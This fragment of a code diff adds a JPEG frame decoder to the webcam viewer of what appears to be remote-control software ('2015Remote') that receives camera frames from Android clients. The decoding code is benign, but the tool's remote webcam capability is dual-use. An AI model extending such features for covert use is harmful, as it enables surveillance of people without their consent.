VideoJpegErrorMgr { + jpeg_error_mgr pub; // 必须是第一个成员 + jmp_buf jb; +}; + +void VideoJpegErrorExit(j_common_ptr cinfo) +{ + longjmp(reinterpret_cast(cinfo->err)->jb, 1); +} + +void VideoJpegSilentMessage(j_common_ptr /*cinfo*/) +{ + // 畸形/截断的 JPEG 可能被反复发送,保持静默避免刷屏 +} + +} // namespace + +// Android 客户端(COMMAND_WEBCAM → Camera2 JPEG)的帧解码。 +// BITMAPINFO 描述的是解码后的位图(BI_RGB / 24bpp / bottom-up),与 Windows +// 摄像头的 DIB 布局一致,DrawDib 和「保存 AVI」两条路径都不用改。 +bool CVideoDlg::DecodeJpegFrame(const BYTE* data, UINT len) +{ + if (!data || len == 0 || !m_BitmapInfor_Full || !m_BitmapData_Full) + return false; + + const int dw = m_BitmapInfor_Full->bmiHeader.biWidth; + const int dh = abs(m_BitmapInfor_Full->bmiHeader.biHeight); + if (dw <= 0 || dh <= 0) + return false; + + // 值初始化:longjmp 回来后要 destroy,不能是栈上的垃圾指针 + struct jpeg_decompress_struct jds = {}; + VideoJpegErrorMgr jem; + jds.err = jpeg_std_error(&jem.pub); + jem.pub.error_exit = VideoJpegErrorExit; + jem.pub.output_message = VideoJpegSilentMessage; + + volatile bool created = false; + if (setjmp(jem.jb) != 0) { + if (created) jpeg_destroy_decompress(&jds); + return false; + } + + jpeg_create_decompress(&jds); + created = true; + jpeg_mem_src(&jds, const_cast(data), len); + + if (jpeg_read_header(&jds, TRUE) != JPEG_HEADER_OK) { + jpeg_destroy_decompress(&jds); + return false; + } + if ((int)jds.image_width != dw || (int)jds.image_height != dh) { + // BITMAPINFO 与相机分辨率在同一会话里固定;尺寸对不上宁可丢帧 + Mprintf("[Video] JPEG %ux%u != bitmap %dx%d, frame dropped\n", + jds.image_width, jds.image_height, dw, dh); + jpeg_destroy_decompress(&jds); + return false; + } + + jds.out_color_space = JCS_EXT_BGR; + if (!jpeg_start_decompress(&jds)) { + jpeg_destroy_decompress(&jds); + return false; + } + + // BITMAPINFO 的 biSizeImage 按 DWORD 对齐的 stride 计算(见 Android 客户端 + // SendBitmapInfo),这里逐行写回 bottom-up:第 0 行是图像最底部。 + const int stride = (dw * 3 + 3) & ~3; + while (jds.output_scanline < jds.output_height) { + const int y = (int)jds.output_scanline; + JSAMPROW row = m_BitmapData_Full + (size_t)(dh - 1 - y) * stride; + if (jpeg_read_scanlines(&jds, &row, 1) != 1) { + jpeg_destroy_decompress(&jds); + return false; + } + } + + if (!jpeg_finish_decompress(&jds)) { + jpeg_destroy_decompress(&jds); + return false; + } + jpeg_destroy_decompress(&jds); + return true; +} + void CVideoDlg::InitCodec(DWORD fccHandler) { if (m_pVideoCodec != NULL) diff --git a/server/2015Remote/VideoDlg.h b/server/2015Remote/VideoDlg.h index bf975e0..7e5958f 100644 --- a/server/2015Remote/VideoDlg.h +++ b/server/2015Remote/VideoDlg.h @@ -146,6 +146,9 @@ public: void SaveAvi(void); void InitCodec(DWORD fccHandler); + // Android 客户端直接发 JPEG(ENCODER_JPEG_DIRECT):turbojpeg 解到 + // m_BitmapData_Full(bottom-up BGR24,与 Windows 摄像头一致)。 + bool DecodeJpegFrame(const BYTE* data, UINT len); CString m_aviFile; // 如果文件名不为空就写入 CBmpToAvi m_aviStream;